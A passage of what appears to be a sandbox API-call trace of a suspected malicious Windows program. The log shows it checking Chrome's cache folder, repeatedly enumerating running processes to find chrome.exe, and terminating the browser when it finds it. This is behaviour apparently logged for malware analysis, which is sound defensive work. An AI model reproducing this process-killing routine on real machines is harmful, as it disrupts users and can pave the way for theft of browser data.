Data\\Default\\Cache\\" [0117.638] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cache")) returned 0x2010 [0117.639] lstrlenA (lpString="chrome.exe") returned 10 [0117.639] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x16) returned 0x9b6dc50 [0117.639] mbstowcs (in: _Dest=0x9b6dc50, _Source="chrome.exe", _MaxCount=0xb | out: _Dest="chrome.exe") returned 0xa [0117.639] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0117.643] Process32FirstW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.644] lstrcmpiW (lpString1="[System Process]", lpString2="chrome.exe") returned -1 [0117.644] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.646] lstrcmpiW (lpString1="System", lpString2="chrome.exe") returned 1 [0117.646] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.647] lstrcmpiW (lpString1="smss.exe", lpString2="chrome.exe") returned 1 [0117.647] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.651] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0117.651] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.652] lstrcmpiW (lpString1="wininit.exe", lpString2="chrome.exe") returned 1 [0117.652] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.654] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0117.654] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.655] lstrcmpiW (lpString1="winlogon.exe", lpString2="chrome.exe") returned 1 [0117.655] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.656] lstrcmpiW (lpString1="services.exe", lpString2="chrome.exe") returned 1 [0117.656] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.657] lstrcmpiW (lpString1="lsass.exe", lpString2="chrome.exe") returned 1 [0117.657] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0117.658] lstrcmpiW (lpString1="lsm.exe", lpString2="chrome.exe") returned 1 [0117.658] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.659] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.659] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.661] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.661] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.662] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.662] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.663] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.663] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.664] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.664] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.665] lstrcmpiW (lpString1="audiodg.exe", lpString2="chrome.exe") returned -1 [0117.665] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.666] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.666] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.667] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.668] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.669] lstrcmpiW (lpString1="dwm.exe", lpString2="chrome.exe") returned 1 [0117.669] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.670] lstrcmpiW (lpString1="explorer.exe", lpString2="chrome.exe") returned 1 [0117.670] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.671] lstrcmpiW (lpString1="spoolsv.exe", lpString2="chrome.exe") returned 1 [0117.671] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.672] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0117.672] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.673] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.673] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0117.674] lstrcmpiW (lpString1="ONENOTEM.EXE", lpString2="chrome.exe") returned 1 [0117.674] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.676] lstrcmpiW (lpString1="taskeng.exe", lpString2="chrome.exe") returned 1 [0117.676] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0117.677] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="chrome.exe") returned 1 [0117.677] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.678] lstrcmpiW (lpString1="taskhost.exe", lpString2="chrome.exe") returned 1 [0117.678] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nr nutrition.exe")) returned 1 [0117.679] lstrcmpiW (lpString1="nr nutrition.exe", lpString2="chrome.exe") returned 1 [0117.679] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="beat.exe")) returned 1 [0117.680] lstrcmpiW (lpString1="beat.exe", lpString2="chrome.exe") returned -1 [0117.680] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="refers.exe")) returned 1 [0117.681] lstrcmpiW (lpString1="refers.exe", lpString2="chrome.exe") returned 1 [0117.681] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="additions.exe")) returned 1 [0117.682] lstrcmpiW (lpString1="additions.exe", lpString2="chrome.exe") returned -1 [0117.682] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="clusters attack.exe")) returned 1 [0117.684] lstrcmpiW (lpString1="clusters attack.exe", lpString2="chrome.exe") returned 1 [0117.684] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="oriental.exe")) returned 1 [0117.685] lstrcmpiW (lpString1="oriental.exe", lpString2="chrome.exe") returned 1 [0117.685] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="protective quite sessions.exe")) returned 1 [0117.686] lstrcmpiW (lpString1="protective quite sessions.exe", lpString2="chrome.exe") returned 1 [0117.686] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="mumbai.exe")) returned 1 [0117.687] lstrcmpiW (lpString1="mumbai.exe", lpString2="chrome.exe") returned 1 [0117.687] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ps-workstation.exe")) returned 1 [0117.688] lstrcmpiW (lpString1="ps-workstation.exe", lpString2="chrome.exe") returned 1 [0117.688] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="today.exe")) returned 1 [0117.689] lstrcmpiW (lpString1="today.exe", lpString2="chrome.exe") returned 1 [0117.689] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dishesproductioncottage.exe")) returned 1 [0117.691] lstrcmpiW (lpString1="dishesproductioncottage.exe", lpString2="chrome.exe") returned 1 [0117.691] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="unfortunatelyafterwardsemission.exe")) returned 1 [0117.692] lstrcmpiW (lpString1="unfortunatelyafterwardsemission.exe", lpString2="chrome.exe") returned 1 [0117.692] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="weblogs-waters.exe")) returned 1 [0117.693] lstrcmpiW (lpString1="weblogs-waters.exe", lpString2="chrome.exe") returned 1 [0117.693] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x238, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1 [0117.761] lstrcmpiW (lpString1="plaintiff.exe", lpString2="chrome.exe") returned 1 [0117.765] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensborooregon.exe")) returned 1 [0117.766] lstrcmpiW (lpString1="greensborooregon.exe", lpString2="chrome.exe") returned 1 [0117.766] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chartspresently.exe")) returned 1 [0117.767] lstrcmpiW (lpString1="chartspresently.exe", lpString2="chrome.exe") returned -1 [0117.767] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ir grey.exe")) returned 1 [0117.768] lstrcmpiW (lpString1="ir grey.exe", lpString2="chrome.exe") returned 1 [0117.768] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="know.exe")) returned 1 [0117.770] lstrcmpiW (lpString1="know.exe", lpString2="chrome.exe") returned 1 [0117.770] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement_float_disability.exe")) returned 1 [0117.771] lstrcmpiW (lpString1="requirement_float_disability.exe", lpString2="chrome.exe") returned 1 [0117.771] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="licenses_miss.exe")) returned 1 [0117.772] lstrcmpiW (lpString1="licenses_miss.exe", lpString2="chrome.exe") returned 1 [0117.772] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.773] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="chrome.exe") returned 1 [0117.773] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0117.774] lstrcmpiW (lpString1="iexplore.exe", lpString2="chrome.exe") returned 1 [0117.774] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome.exe")) returned 1 [0117.775] lstrcmpiW (lpString1="chrome.exe", lpString2="chrome.exe") returned 0 [0117.775] CloseHandle (hObject=0xa90) returned 1 [0117.775] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xb70) returned 0xa90 [0117.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0117.775] TerminateProcess (hProcess=0xa90, uExitCode=0x0) returned 1 [0117.846] CloseHandle (hObject=0xa90) returned 1 [0117.846] lstrlenA (lpString="chrome.exe") returned 10 [0117.846] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x16) returned 0x9b6dc50 [0117.846] mbstowcs (in: _Dest=0x9b6dc50, _Source="chrome.exe", _MaxCount=0xb | out: _Dest="chrome.exe") returned 0xa [0117.846] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa90 [0117.851] Process32FirstW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.852] lstrcmpiW (lpString1="[System Process]", lpString2="chrome.exe") returned -1 [0117.852] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.853] lstrcmpiW (lpString1="System", lpString2="chrome.exe") returned 1 [0117.853] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.855] lstrcmpiW (lpString1="smss.exe", lpString2="chrome.exe") returned 1 [0117.855] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.856] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0117.856] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.857] lstrcmpiW (lpString1="wininit.exe", lpString2="chrome.exe") returned 1 [0117.857] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.858] lstrcmpiW (lpString1="csrss.exe", lpString2="chrome.exe") returned 1 [0117.858] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.859] lstrcmpiW (lpString1="winlogon.exe", lpString2="chrome.exe") returned 1 [0117.859] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.860] lstrcmpiW (lpString1="services.exe", lpString2="chrome.exe") returned 1 [0117.860] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.861] lstrcmpiW (lpString1="lsass.exe", lpString2="chrome.exe") returned 1 [0117.862] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0117.863] lstrcmpiW (lpString1="lsm.exe", lpString2="chrome.exe") returned 1 [0117.863] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.864] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.864] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.865] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.865] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.910] lstrcmpiW (lpString1="svchost.exe", lpString2="chrome.exe") returned 1 [0117.910] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x33c, 